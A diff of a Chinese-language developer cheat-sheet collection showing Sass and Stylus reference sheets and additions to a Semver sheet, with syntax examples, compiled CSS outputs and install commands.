|
||||
Sass
|
||||
===
|
||||
|
||||
这是一份快速参考备忘单，列出了 [SASS](https://sass-lang.com) 最有用的功能。
|
||||
|
||||
Sass 基础
|
||||
--------
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
||||
|
||||
Sass 是一种 CSS 的预编译语言
|
||||
|
||||
```bash
|
||||
$ npm install -g sass
|
||||
```
|
||||
|
||||
在 Node.js 环境中使用 Sass
|
||||
|
||||
```bash
|
||||
$ sass source/index.scss build/index.css
|
||||
$ sass --watch input.scss output.css
|
||||
$ sass --watch app/sass:public/css
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
```scss
|
||||
$defaultLinkColor: #46EAC2;
|
||||
a {
|
||||
color: $defaultLinkColor;
|
||||
}
|
||||
```
|
||||
|
||||
### 字符串插值
|
||||
|
||||
```scss
|
||||
$wk: -webkit-;
|
||||
.rounded-box {
|
||||
#{$wk}border-radius: 4px;
|
||||
}
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```scss
|
||||
/*
|
||||
这是多行注释
|
||||
块注释
|
||||
块注释
|
||||
*/
|
||||
// 这是一条单行注释
|
||||
```
|
||||
|
||||
### Extend
|
||||
|
||||
```scss
|
||||
.button {
|
||||
···
|
||||
}
|
||||
.push-button {
|
||||
@extend .button;
|
||||
}
|
||||
```
|
||||
|
||||
### 嵌套(Nesting)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
nav {
|
||||
ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
li { display: inline-block; }
|
||||
a {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```scss
|
||||
nav ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
nav li {
|
||||
display: inline-block;
|
||||
}
|
||||
nav a {
|
||||
display: block;
|
||||
}
|
||||
```
|
||||
|
||||
### 模块（片段）
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
// _base.scss
|
||||
$font-stack: Helvetica, sans-serif;
|
||||
$primary-color: #333;
|
||||
```
|
||||
|
||||
注意以下划线开头的 Sass 文件
|
||||
|
||||
```scss
|
||||
// styles.scss
|
||||
@use 'base';
|
||||
|
||||
.inverse {
|
||||
background-color: base.$primary-color;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.inverse {
|
||||
background-color: #333;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
### 混合(Mixins)
|
||||
|
||||
```scss
|
||||
@mixin heading-font {
|
||||
font-family: sans-serif;
|
||||
font-weight: bold;
|
||||
}
|
||||
h1 {
|
||||
@include heading-font;
|
||||
}
|
||||
```
|
||||
|
||||
查看: [混合(Mixins)](#sass-混合mixins)
|
||||
|
||||
### @import
|
||||
|
||||
```scss
|
||||
@import './other_sass_file';
|
||||
@import '/code', 'lists';
|
||||
// 纯 CSS @imports
|
||||
@import "theme.css";
|
||||
@import url(theme);
|
||||
```
|
||||
|
||||
`.sass` 或 `.sass` 扩展名是可选的。
|
||||
|
||||
Sass 混合(Mixins)
|
||||
------
|
||||
|
||||
|
||||
### 参数
|
||||
|
||||
```scss
|
||||
@mixin font-size($n) {
|
||||
font-size: $n * 1.2em;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include font-size(2);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认值
|
||||
|
||||
```scss
|
||||
@mixin pad($n: 10px) {
|
||||
padding: $n;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认变量
|
||||
|
||||
```scss
|
||||
$default-padding: 10px;
|
||||
@mixin pad($n: $default-padding) {
|
||||
padding: $n;
|
||||
}
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
Sass 颜色函数
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### rgba
|
||||
|
||||
```scss
|
||||
rgb(100, 120, 140)
|
||||
rgba(100, 120, 140, .5)
|
||||
rgba($color, .5)
|
||||
```
|
||||
|
||||
### Mixing
|
||||
|
||||
```scss
|
||||
mix($a, $b, 10%) // 10% a, 90% b
|
||||
```
|
||||
|
||||
### 修改 HSLA
|
||||
|
||||
```scss
|
||||
darken($color, 5%)
|
||||
lighten($color, 5%)
|
||||
```
|
||||
|
||||
```scss
|
||||
saturate($color, 5%)
|
||||
desaturate($color, 5%)
|
||||
grayscale($color)
|
||||
```
|
||||
|
||||
```scss
|
||||
adjust-hue($color, 15deg)
|
||||
complement($color) // like adjust-hue(_, 180deg)
|
||||
invert($color)
|
||||
```
|
||||
|
||||
```scss
|
||||
fade-in($color, .5) // aka opacify()
|
||||
fade-out($color, .5) // aka transparentize()
|
||||
rgba($color, .5) // sets alpha to .5
|
||||
```
|
||||
|
||||
### 获取值
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### HSLA
|
||||
|
||||
```scss
|
||||
hue($color) // 0deg..360deg
|
||||
saturation($color) // 0%..100%
|
||||
lightness($color) // 0%..100%
|
||||
alpha($color) // 0..1 (aka opacity())
|
||||
```
|
||||
|
||||
#### RGB
|
||||
|
||||
```scss
|
||||
red($color) // 0..255
|
||||
green($color)
|
||||
blue($color)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`color.red()` | 用于获取颜色的红色通道
|
||||
`color.green()` | 用于获得颜色的绿色通道
|
||||
`color.blue()` | 用于获取颜色的蓝色通道
|
||||
`color.hue()` | 以获得颜色的色调
|
||||
`color.saturation()` | 用于获得颜色的饱和度
|
||||
`color.lightness()` | 以获得颜色的亮度
|
||||
|
||||
另见: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
|
||||
|
||||
### Sass 内置了对颜色值的支持
|
||||
|
||||
```scss
|
||||
@debug rgb(204, 102, 153); // #c69
|
||||
@debug rgba(107, 113, 127, 0.8); // rgba(107, 113, 127, 0.8)
|
||||
@debug hsl(228, 7%, 86%); // #dadbdf
|
||||
@debug hsla(20, 20%, 85%, 0.7); // rgb(225, 215, 210, 0.7)
|
||||
```
|
||||
|
||||
### 调整
|
||||
|
||||
```scss
|
||||
// 固定金额变动
|
||||
adjust-color($color, $blue: 5)
|
||||
adjust-color($color, $lightness: -30%) // darken(_, 30%)
|
||||
adjust-color($color, $alpha: -0.4) // fade-out(_, .4)
|
||||
adjust-color($color, $hue: 30deg) // adjust-hue(_, 15deg)
|
||||
// 通过百分比变化
|
||||
scale-color($color, $lightness: 50%)
|
||||
// 完全改变一个属性
|
||||
change-color($color, $hue: 180deg)
|
||||
change-color($color, $blue: 250)
|
||||
```
|
||||
|
||||
支持的: `$red`, `$green`, `$blue`, `$hue`, `$saturation`, `$lightness`, `$alpha`
|
||||
|
||||
Sass 其他函数
|
||||
--------
|
||||
|
||||
### 字符串
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
unquote('hello')
|
||||
quote(bold); // "bold"
|
||||
```
|
||||
|
||||
```scss
|
||||
to-upper-case(hello)
|
||||
to-lower-case(hello)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
str-length(hello world)
|
||||
// "ello" - 它是从 1 开始的，而不是从 0 开始的
|
||||
str-slice(hello, 2, 5)
|
||||
str-insert("abcd", "X", 1) // "Xabcd"
|
||||
```
|
||||
|
||||
### Numbers
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
floor(4.2) // 4
|
||||
ceil(4.2) // 5
|
||||
round(4.2) // 4
|
||||
abs(-10px) // 10px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
min(1px, 4px) // 1px
|
||||
$widths: 50px, 30px, 100px
|
||||
@debug math.min($widths...) // 30px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
percentage(.5) // 50%
|
||||
random(3) // 0..3
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Misc
|
||||
|
||||
```scss
|
||||
// 检查 $red
|
||||
variable-exists(red)
|
||||
// 检查@mixin red-text
|
||||
mixin-exists(red-text)
|
||||
function-exists(redify)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
global-variable-exists(red)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
// .menu li a
|
||||
selector-append('.menu', 'li', 'a')
|
||||
// .menu:hover li
|
||||
selector-nest('.menu', '&:hover li')
|
||||
selector-extend(...)
|
||||
selector-parse(...)
|
||||
selector-replace(...)
|
||||
selector-unify(...)
|
||||
```
|
||||
|
||||
Sass 功能检查
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### 功能检查
|
||||
|
||||
```scss
|
||||
meta.feature-exists($feature)
|
||||
feature-exists($feature) //=> boolean
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
@mixin debug-content-exists {
|
||||
@debug meta.content-exists();
|
||||
@content;
|
||||
}
|
||||
|
||||
@include debug-content-exists; // false
|
||||
@include debug-content-exists { // true
|
||||
// Content!
|
||||
}
|
||||
```
|
||||
|
||||
### 功能
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`global-variable-shadowing` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着局部变量将隐藏全局变量，除非它具有 `!global` 标志
|
||||
`extend-selector-pseudoclass` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着 `@extend` 规则将影响嵌套在伪类中的选择器，如 `:not()`
|
||||
`units-level-3` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着单位算术支持在 CSS 值和单位级别 3 中定义的单位
|
||||
`at-error` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着支持 `@error` 规则
|
||||
`custom-property` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着自定义属性声明值不支持除插值之外的任何表达式
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
Sass 循环
|
||||
--------
|
||||
|
||||
### For 循环
|
||||
|
||||
```scss
|
||||
$base-color: #036;
|
||||
|
||||
@for $i from 1 through 3 {
|
||||
ul:nth-child(3n + #{$i}) {
|
||||
background-color: lighten($base-color, $i * 5%);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
ul:nth-child(3n + 1) {
|
||||
background-color: #004080;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 2) {
|
||||
background-color: #004d99;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 3) {
|
||||
background-color: #0059b3;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环（简单）
|
||||
|
||||
```scss
|
||||
$sizes: 40px, 50px;
|
||||
|
||||
@each $size in $sizes {
|
||||
.icon-#{$size} {
|
||||
font-size: $size;
|
||||
height: $size;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.icon-40px {
|
||||
font-size: 40px;
|
||||
height: 40px;
|
||||
}
|
||||
|
||||
.icon-50px {
|
||||
font-size: 50px;
|
||||
height: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环（嵌套）
|
||||
|
||||
```scss
|
||||
$icons: ("eye": "\f112", "start": "\f12e");
|
||||
|
||||
@each $name, $glyph in $icons {
|
||||
.icon-#{$name}:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: $glyph;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.icon-eye:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
.icon-start:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
```
|
||||
|
||||
### While 循环
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
@use "sass:math";
|
||||
|
||||
/// 将 `$value` 除以 `$ratio` 直到它低于 `$base`
|
||||
@function scale-below($value, $base, $ratio: 1.618) {
|
||||
@while $value > $base {
|
||||
$value: math.div($value, $ratio);
|
||||
}
|
||||
@return $value;
|
||||
}
|
||||
|
||||
$normal-font-size: 16px;
|
||||
sup {
|
||||
font-size: scale-below(20px, 16px);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
sup {
|
||||
font-size: 12.36094px;
|
||||
}
|
||||
```
|
||||
|
||||
Sass 其它功能
|
||||
--------
|
||||
|
||||
### 条件句
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
@mixin avatar($size, $circle: false) {
|
||||
width: $size;
|
||||
height: $size;
|
||||
|
||||
@if $circle {
|
||||
border-radius: $size / 2;
|
||||
}
|
||||
}
|
||||
|
||||
.square-av {
|
||||
@include avatar(100px, $circle: false);
|
||||
}
|
||||
.circle-av {
|
||||
@include avatar(100px, $circle: true);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.square-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
}
|
||||
|
||||
.circle-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
border-radius: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### 插值
|
||||
|
||||
```scss
|
||||
.#{$klass} { ... } // Class
|
||||
call($function-name) // Functions
|
||||
@media #{$tablet}
|
||||
font: #{$size}/#{$line-height}
|
||||
url("#{$background}.jpg")
|
||||
```
|
||||
|
||||
### 列表
|
||||
|
||||
```scss
|
||||
$list: (a b c);
|
||||
nth($list, 1) // starts with 1
|
||||
length($list)
|
||||
@each $item in $list { ... }
|
||||
```
|
||||
|
||||
### Maps
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
$map: (key1: value1, key2: value2, key3: value3);
|
||||
map-get($map, key1)
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
||||
@ -54,7 +54,6 @@ Semver 备忘清单
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 连字符范围
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
| 范围 | 描述 |
|
||||
| --- | --- |
|
||||
@ -80,6 +79,43 @@ Semver 备忘清单
|
||||
|
||||
如果左边是部分的（例如，`1.2`），则假定缺少的部分为`0`（例如，` 1.2.0`）。
|
||||
|
||||
### 有效的语义版本
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
```js
|
||||
0.0.4
|
||||
1.2.3
|
||||
10.20.30
|
||||
1.1.2-prerelease+meta
|
||||
1.1.2+meta
|
||||
1.1.2+meta-valid
|
||||
1.0.0-alpha
|
||||
1.0.0-beta
|
||||
1.0.0-alpha.beta
|
||||
1.0.0-alpha.beta.1
|
||||
1.0.0-alpha.1
|
||||
1.0.0-alpha0.valid
|
||||
1.0.0-alpha.0valid
|
||||
1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay
|
||||
1.0.0-rc.1+build.1
|
||||
2.0.0-rc.1+build.123
|
||||
1.2.3-beta
|
||||
10.2.3-DEV-SNAPSHOT
|
||||
1.2.3-SNAPSHOT-123
|
||||
1.0.0
|
||||
2.0.0
|
||||
1.1.7
|
||||
2.0.0+build.1848
|
||||
2.0.1-alpha.1227
|
||||
1.0.0-alpha+beta
|
||||
1.2.3----RC-SNAPSHOT.12.9.1--.12+788
|
||||
1.2.3----R-S.12.9.1--.12+meta
|
||||
1.2.3----RC-SNAPSHOT.12.9.1--.12
|
||||
1.0.0+0.build.1-rc.10000aaa-kk-0.1
|
||||
99999999999999999999999.999999999999999999.99999999999999999
|
||||
1.0.0-0A.is.legal
|
||||
```
|
||||
|
||||
### 组合范围
|
||||
|
||||
| 范围 | 描述 |
|
||||
@ -88,13 +124,8 @@ Semver 备忘清单
|
||||
| `0.14.x \|\| 15.x.x` | 或 (双竖线分隔) |
|
||||
<!--rehype:className=shortcuts show-header-->
|
||||
|
||||
### 预发布
|
||||
|
||||
```
|
||||
1.2.3-prerelease+build
|
||||
```
|
||||
|
||||
### 解释
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
| 范围 | 描述 |
|
||||
| --- | --- |
|
||||
@ -104,6 +135,13 @@ Semver 备忘清单
|
||||
| `1.x.x` | 表示定义了公共 API |
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 预发布
|
||||
|
||||
```
|
||||
1.2.3-prerelease+build
|
||||
1.1.2-prerelease+meta
|
||||
```
|
||||
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
557
docs/stylus.md
Normal file
557
docs/stylus.md
Normal file
@ -0,0 +1,557 @@
|
||||
Stylus 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [stylus](https://github.com/stylus/stylus) 所涉及的主要概念，显示了它的常用方法使用清单。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
为 Node.js 构建的富有表现力、健壮、功能丰富的 [CSS](./css.md) 语言
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
|
||||
|
||||
```bash
|
||||
# npm
|
||||
$ npm install stylus -g
|
||||
# pnpm
|
||||
$ pnpm add -g stylus
|
||||
```
|
||||
|
||||
在 Node.js 环境中使用 `stylus`
|
||||
|
||||
```bash
|
||||
$ stylus one.styl two.styl
|
||||
# stylus 从标准输入读取并输出到标准输出
|
||||
$ stylus --compress < some.styl > some.css
|
||||
# 将 css 目录中的文件编译输出到 `public/css`
|
||||
$ stylus css --out public/css
|
||||
```
|
||||
|
||||
转换 CSS，输出 `*.styl` 文件
|
||||
|
||||
```
|
||||
$ stylus --css < test.css > test.styl
|
||||
$ stylus --css test.css /tmp/out.styl
|
||||
```
|
||||
|
||||
### 支持 CSS 嵌套语法
|
||||
|
||||
```stylus
|
||||
.box {
|
||||
color: blue;
|
||||
.button {
|
||||
color: red;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Stylus 是一个 CSS 预处理器。另见: [stylus-lang.com](http://stylus-lang.com/)
|
||||
|
||||
### 支持类 python 缩进语法
|
||||
|
||||
```stylus
|
||||
.box
|
||||
color: blue
|
||||
.button
|
||||
color: red
|
||||
```
|
||||
|
||||
也有效！冒号也是可选的。这通常用于 Stylus 文档的语法
|
||||
|
||||
### 混合 Mixins
|
||||
|
||||
```stylus
|
||||
caps-type()
|
||||
letter-spacing: 0.05em
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
h5
|
||||
caps-type()
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
h5 {
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
```
|
||||
|
||||
另见：下面[Mixins](#混合-Mixins)
|
||||
|
||||
### 变量 Variables
|
||||
|
||||
```stylus
|
||||
royal-blue = #36a
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
div
|
||||
color: royal-blue
|
||||
```
|
||||
|
||||
标识符（变量名、函数等）也可以包括 `$` 字符
|
||||
|
||||
```stylus
|
||||
$font-size = 14px
|
||||
body {
|
||||
font: $font-size sans-serif;
|
||||
}
|
||||
```
|
||||
|
||||
另见：[变量 Variables](https://stylus-lang.com/docs/variables.html)
|
||||
|
||||
混合 Mixins
|
||||
------
|
||||
|
||||
### 没有参数
|
||||
|
||||
```stylus {1}
|
||||
red-border()
|
||||
border: solid 2px red
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
div
|
||||
red-border()
|
||||
```
|
||||
|
||||
另见: [Mixins](http://stylus-lang.com/docs/mixins.html)
|
||||
|
||||
### 有参数
|
||||
|
||||
```stylus {1}
|
||||
border-radius(n)
|
||||
-webkit-border-radius: n
|
||||
border-radius: n
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2,3}
|
||||
div
|
||||
border-radius: 2px
|
||||
border-radius(2px)
|
||||
```
|
||||
|
||||
Mixins can be applied in two different ways.
|
||||
|
||||
### 参数默认值
|
||||
|
||||
```stylus {1}
|
||||
border-radius(n = 2px)
|
||||
-webkit-border-radius: n
|
||||
```
|
||||
|
||||
### 块混合
|
||||
|
||||
```stylus {3}
|
||||
mobile()
|
||||
@media (max-width: 480px)
|
||||
{block}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {1}
|
||||
+mobile()
|
||||
width: 10px
|
||||
```
|
||||
|
||||
另见: [块混合](http://stylus-lang.com/docs/mixins.html#block-mixins)
|
||||
|
||||
### Rest 参数
|
||||
|
||||
```stylus {1}
|
||||
shadow(offset-x, args...)
|
||||
box-shadow: offset-x args
|
||||
margin-top: offset-x
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
#login
|
||||
shadow: 1px 2px 5px #eee
|
||||
```
|
||||
|
||||
另见: [Rest 参数](http://stylus-lang.com/docs/vargs.html)
|
||||
|
||||
函数 Functions
|
||||
---------
|
||||
|
||||
### 函数 Functions
|
||||
|
||||
```stylus {1}
|
||||
add(a, b)
|
||||
a + b
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
body
|
||||
padding: add(10px, 5)
|
||||
```
|
||||
|
||||
另见: [Functions](http://stylus-lang.com/docs/functions.html)
|
||||
|
||||
### 参数默认值
|
||||
|
||||
```stylus {1}
|
||||
add(a, b = 2)
|
||||
a + b
|
||||
```
|
||||
|
||||
另见: [参数默认值](http://stylus-lang.com/docs/functions.html#argument-defaults)
|
||||
|
||||
### 命名参数
|
||||
|
||||
```stylus
|
||||
shadow(x, y)
|
||||
x y (y * 1.5) #000
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
.button
|
||||
box-shadow: shadow(x: 2, y: 4)
|
||||
```
|
||||
|
||||
另见: [命名参数](http://stylus-lang.com/docs/functions.html#named-parameters)
|
||||
|
||||
### 多个返回值
|
||||
|
||||
```stylus {2}
|
||||
sizes()
|
||||
8px 16px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
sizes()[0] // → 8px
|
||||
sizes()[1] // → 16px
|
||||
```
|
||||
|
||||
另见: [多个返回值](http://stylus-lang.com/docs/functions.html#multiple-return-values)
|
||||
|
||||
### arguments
|
||||
|
||||
```stylus
|
||||
sum()
|
||||
n = 0
|
||||
for num in arguments
|
||||
n = n + num
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
sum(1,2,3,4,5) // => 15
|
||||
```
|
||||
|
||||
参数 local 可用于所有函数体，并包含所有传递的参数
|
||||
|
||||
### hash 示例
|
||||
|
||||
```stylus
|
||||
get(hash, key)
|
||||
return pair[1] if pair[0] == key for pair in hash
|
||||
|
||||
hash = (one 1) (two 2) (three 3)
|
||||
|
||||
get(hash, two)
|
||||
// => 2
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
值 Values
|
||||
------
|
||||
|
||||
### 条件赋值
|
||||
|
||||
```stylus {2}
|
||||
royal-blue = #36a
|
||||
royal-blue ?= #89f
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
div
|
||||
color: royal-blue // #36a
|
||||
```
|
||||
|
||||
`?=` 只会在之前未设置的情况下设置变量
|
||||
|
||||
另见: [条件赋值](https://stylus-lang.com/docs/operators.html#conditional-assignment--)
|
||||
|
||||
### 属性查找
|
||||
|
||||
```stylus {2,3}
|
||||
.logo
|
||||
width: w = 150
|
||||
margin-left: -(w / 2)
|
||||
// or
|
||||
height: 80px
|
||||
margin-top: -(@height / 2)
|
||||
```
|
||||
|
||||
另见: [属性查找](https://stylus-lang.com/docs/variables.html#property-lookup)
|
||||
|
||||
### 插值
|
||||
|
||||
```stylus
|
||||
-{prefix}-border-radius: 2px
|
||||
```
|
||||
|
||||
另见: [Interpolation](https://stylus-lang.com/docs/interpolation.html)
|
||||
|
||||
### Color operators
|
||||
|
||||
```stylus
|
||||
#888 + 50% // → #c3c3c3 (lighten)
|
||||
#888 - 50% // → #444 (darken)
|
||||
#f00 + 50deg // → #ffd500 (hue)
|
||||
```
|
||||
|
||||
### Casting
|
||||
|
||||
```stylus
|
||||
n = 5px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {1,2}
|
||||
foo: (n)em
|
||||
foo: (n * 5)%
|
||||
```
|
||||
|
||||
### Lookup
|
||||
|
||||
```stylus {3}
|
||||
light-blue = #3bd
|
||||
name = 'blue'
|
||||
lookup('light-' + name)
|
||||
```
|
||||
|
||||
另见: [lookup](https://stylus-lang.com/docs/bifs.html#lookupname)
|
||||
|
||||
高级功能
|
||||
-----------------
|
||||
|
||||
### 有条件的
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```stylus
|
||||
if color == blue
|
||||
display: block
|
||||
else if true and true
|
||||
display: inline
|
||||
else if 'hey' is not 'bye'
|
||||
display: flex
|
||||
else
|
||||
display: none
|
||||
```
|
||||
|
||||
别名:
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
| `==` | `is` |
|
||||
| `!=` | `is not` |
|
||||
| `!=` | `isnt` |
|
||||
|
||||
另见: [Conditionals](https://stylus-lang.com/docs/functions.html#conditionals)
|
||||
|
||||
### 对于循环
|
||||
|
||||
```stylus {5}
|
||||
font-size-1 = 10px
|
||||
font-size-2 = 20px
|
||||
font-size-3 = 30px
|
||||
for i in 1..3
|
||||
.text-{i}
|
||||
font-size: lookup('font-size-' + i)
|
||||
```
|
||||
### 定义检查
|
||||
|
||||
```stylus {1}
|
||||
if ohnoes is defined
|
||||
color: blue
|
||||
```
|
||||
|
||||
另见: [is defined](https://stylus-lang.com/docs/operators.html#variable-definition-is-defined)
|
||||
|
||||
### False 值
|
||||
|
||||
```stylus
|
||||
0
|
||||
null
|
||||
false
|
||||
''
|
||||
```
|
||||
|
||||
### 类型检查
|
||||
|
||||
```stylus
|
||||
if val is a 'string'
|
||||
if val is a 'ident'
|
||||
if #fff is a 'rgba' // → true
|
||||
```
|
||||
|
||||
另见: [Instance check](https://stylus-lang.com/docs/operators.html#instance-check-is-a)
|
||||
|
||||
内置函数
|
||||
------------------
|
||||
|
||||
### 颜色函数
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
```stylus
|
||||
alpha(#fff) //→ 1
|
||||
alpha(rgba(0, 0, 0, 0.2)) //→ 0.2
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
dark(black) //→ true
|
||||
light(black) //→ false
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
hue(#0a0) //→ 50deg
|
||||
saturation(#f00) //→ 100%
|
||||
lightness(#f00) //→ 50%
|
||||
luminosity(#f00) //→ 0.2126
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
hue(#0a0, 0deg)
|
||||
saturation(#f00, 50%)
|
||||
lightness(#f00)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
lighten(color, 10%)
|
||||
darken(color, 10%)
|
||||
saturate(color, 10%)
|
||||
desaturate(color, 10%)
|
||||
invert(color)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
tint(color, 50%) // mix with white
|
||||
shade(color, 50%) // mix with black
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
unquote(string)
|
||||
```
|
||||
|
||||
另见: [Built-in functions](http://stylus-lang.com/docs/bifs.html)
|
||||
|
||||
### 图片尺寸
|
||||
|
||||
返回给定图像的宽度和高度
|
||||
|
||||
```stylus
|
||||
width: image-size('tux.png')[0]
|
||||
height: image-size('tux.png')[1]
|
||||
```
|
||||
|
||||
另见: [image-size](http://stylus-lang.com/docs/bifs.html#image-sizepath)
|
||||
|
||||
### 缓存 Caching
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```stylus
|
||||
size($width)
|
||||
+cache('w' + $width)
|
||||
width: $width
|
||||
.a { size: 10px }
|
||||
.b { size: 10px }
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
// 输出: .a, b { width: 10px }
|
||||
```
|
||||
|
||||
在第一次调用时将其内容应用于给定的选择器，但会在第二次调用时使用相同的参数 `@extend` 第一次调用的选择器。另见: [cache](http://stylus-lang.com/docs/bifs.html#cachekeys)
|
||||
|
||||
### Embed URL
|
||||
|
||||
```
|
||||
background: embedurl('logo.png')
|
||||
// → background: url("data:image/png;base64,…")
|
||||
```
|
||||
